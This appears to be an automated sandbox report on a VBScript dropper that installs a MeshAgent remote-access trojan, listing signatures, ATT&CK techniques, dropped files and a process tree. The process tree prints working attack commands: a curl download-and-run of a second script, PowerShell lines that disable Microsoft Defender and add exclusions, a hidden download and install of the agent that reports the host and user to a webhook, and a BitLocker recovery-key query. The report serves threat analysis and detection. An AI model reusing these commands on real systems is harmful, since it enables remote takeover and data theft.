Overview

overview

10

Static

static

1

c81b0dbc32...11.vbs

windows10-2004-x64

10

c81b0dbc32...11.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/10/2026, 23:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    c81b0dbc32f3bc8a57509b6f3ff0c029e4278f0a8f09238fed585f32b4159c11.vbs
  • Size 1KB
  • Sample261020-267dfade95
  • SHA256 c81b0dbc32f3bc8a57509b6f3ff0c029e4278f0a8f09238fed585f32b4159c11
  • MD5 SHA1 SHA512 TLSH
Score
10/10
backdoormydevicesdefense_evasiondiscoveryexecutionmeshagentpersistencerattrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dashboard.gsresponder.co/admin62/meshagents?id=4&meshid=6baa3876eb71d48a5615780e05d5f29b4f9d8106c0374fb480d14b6a3ee92a2f

Extracted

Family

  • meshagent

Version

  • 2

Botnet

  • MyDevices

C2

  • http://dashboard.gsresponder.online:443/admin62/agent.ashx

Attributes
  • mesh_id

    0xE9B69ADFCEFA79BEF5778F1AE7AD79EFCD1ED397797F6F5BE1FF5DF35D3A734DFBE1F6F8F34775E1BE9ADDE7BDD9AD9F

  • server_id

    8F2CE8AB4514031CA12E1B4DDF3D00B0C94F8143B3267256F97AF4BAB9E89F231B16B3F4E525FCF2BC1487F857C2F4FB

  • wss

    wss://dashboard.gsresponder.online:443/admin62/agent.ashx

Signatures

  • Family: MeshAgent

    MeshAgent is an open source remote access trojan written in C++.

    rattrojanbackdoormeshagent
  • Detects MeshAgent payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 64 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
    execution
  • Drops file in Program Files directory 64 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c81b0dbc32f3bc8a57509b6f3ff0c029e4278f0a8f09238fed585f32b4159c11.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c curl -s -o "%TEMP%\omy7f133.vbs" "https://wrapper.reverendtoppd.xyz/payload.php?id=a18034d3bbdc63cf09f95e4cde0a9153&t=1b6d40cd77124389"&wscript "%TEMP%\omy7f133.vbs"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:656
      • C:\Windows\system32\curl.exe
        curl -s -o "C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs" "https://wrapper.reverendtoppd.xyz/payload.php?id=a18034d3bbdc63cf09f95e4cde0a9153&t=1b6d40cd77124389"
        3⤵
          PID:2376
        • C:\Windows\system32\wscript.exe
          wscript "C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs"
          3⤵
          • Checks computer location settings
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs" elevated
            4⤵
            • Checks computer location settings
            • Executes a VBScript file via the Windows Script Host.
            • Suspicious use of WriteProcessMemory
            PID:2644
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Disables one or more Microsoft Defender components
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1812
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4896
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "Add-MpPreference -ExclusionPath 'C:\Program Files\Mesh Agent' -ErrorAction SilentlyContinue"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3456
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /F /IM MeshAgent.exe /T
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2856
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM MeshAgent.exe /T
                6⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4668
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop "Mesh Agent"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1640
              • C:\Windows\system32\sc.exe
                sc stop "Mesh Agent"
                6⤵
                • Launches sc.exe
                PID:1012
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc delete "Mesh Agent"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2316
              • C:\Windows\system32\sc.exe
                sc delete "Mesh Agent"
                6⤵
                • Launches sc.exe
                PID:952
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c rmdir /S /Q "C:\Program Files\Mesh Agent"
              5⤵
                PID:1268
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c rmdir /S /Q "C:\Program Files\GsResponder\Mesh Agent"
                5⤵
                  PID:1388
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://dashboard.gsresponder.co/admin62/meshagents?id=4&meshid=6baa3876eb71d48a5615780e05d5f29b4f9d8106c0374fb480d14b6a3ee92a2f', 'C:\Users\Admin\AppData\Local\Temp\gs_agent.exe'); if (Test-Path 'C:\Users\Admin\AppData\Local\Temp\gs_agent.exe') { $p = Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\gs_agent.exe' -ArgumentList '-fullinstall' -Wait -PassThru -WindowStyle Hidden; if ($p.ExitCode -eq 0) { $wh = 'https://dashboard.gsresponder.co/files/webhooks/new-device.php?host=' + $env:COMPUTERNAME + '&user=' + $env:USERNAME + '&domain=admin62&mesh=Unknown'; try { $wc.DownloadString($wh) } catch {} } } } catch { exit 1 }"
                  5⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3504
                  • C:\Users\Admin\AppData\Local\Temp\gs_agent.exe
                    "C:\Users\Admin\AppData\Local\Temp\gs_agent.exe" -fullinstall
                    6⤵
                    • Sets service image path in registry
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Reads the TCP/IP host and domain name from the registry
                    PID:5112
        • C:\Program Files\Mesh Agent\MeshAgent.exe
          "C:\Program Files\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Reads the TCP/IP host and domain name from the registry
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1188
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3976
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:4236
          • C:\Windows\system32\cmd.exe
            /c manage-bde -protectors -get C: -Type recoverypassword
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1544
            • C:\Windows\system32\manage-bde.exe
              manage-bde -protectors -get C: -Type recoverypassword
              3⤵
                PID:436

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                3
                T1059

                PowerShell

                1
                T1059.001

                Visual Basic

                1
                T1059.005

                Windows Command Shell

                1
                T1059.003

                System Services

                1
                T1569

                Service Execution

                1
                T1569.002

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Create or Modify System Process

                2
                T1543

                Windows Service

                2
                T1543.003

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Create or Modify System Process

                2
                T1543

                Windows Service

                2
                T1543.003

                Defense Evasion

                Hide Artifacts

                1
                T1564

                Ignore Process Interrupts

                1
                T1564.011

                Impair Defenses

                2
                T1562

                Disable or Modify Tools

                1
                T1562.001

                Indicator Removal

                1
                T1070

                File Deletion

                1
                T1070.004

                Modify Registry

                1
                T1112

                Credential Access

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                2
                T1082

                System Network Configuration Discovery

                1
                T1016

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Service Stop

                1
                T1489

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                MeshAgent.db
                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                • Size 168KB
                • SHA256 7ba61b3b4966b1e17a11e84faebf64f499b45d7b86a2a0f0648f919d7021e1f2
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                MeshAgent.db
                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                • Size 168KB
                • SHA256 8f355d9e3ea27a3cea32274e37882f6463701781302dc8615f1d44f87b2eb6ca
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 7305bcde3ba246a9b5c1666079c61596cc2ed2c651a1cd9e20557dba8a78c0e4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 3284cae7b82be99d93064390ba071ba4321f3f24dd21515b37b2ca9f31b2e8d5
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 6fd214d717629205040f2bd02607b0be2b83a34fedb2019d202ba327a6e03d05
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __PSScriptPolicyTest_zxr3awvk.o2n.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zxr3awvk.o2n.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                gs_agent.exe
                • Path C:\Users\Admin\AppData\Local\Temp\gs_agent.exe
                • Size 3.3MB
                • SHA256 b54681712757b560841a5a3a759b05638fc876df9cf9e03af5b3b98c354e03fb
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                omy7f133.vbs
                • Path C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs
                • Size 4KB
                • SHA256 7db3557e6376bfa3cd6a8e73c931c556b789ee704b11004a9fbe0515378e32a5
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                BA5E6B7697D2BB65C454ED8F852BE2D6B24970D0
                • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\BA5E6B7697D2BB65C454ED8F852BE2D6B24970D0
                • Size 1KB
                • SHA256 ff6556617cdab1dd0416a0d94f1a4a1edeae0e405ef4d911bc8ed74ba17da72d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                memory/1812-8-0x000001509CDA0000-0x000001509CDC2000-memory.dmp
                Download

                memory/3456-34-0x000001F91EEE0000-0x000001F91F02E000-memory.dmp
                Download

                memory/3504-63-0x0000028BA60F0000-0x0000028BA6138000-memory.dmp
                Download

                memory/3976-84-0x00000202F7B00000-0x00000202F7B44000-memory.dmp
                Download

                memory/3976-85-0x00000202F7BD0000-0x00000202F7C46000-memory.dmp
                Download

                memory/4896-24-0x00000287DA1C0000-0x00000287DA30E000-memory.dmp
                Download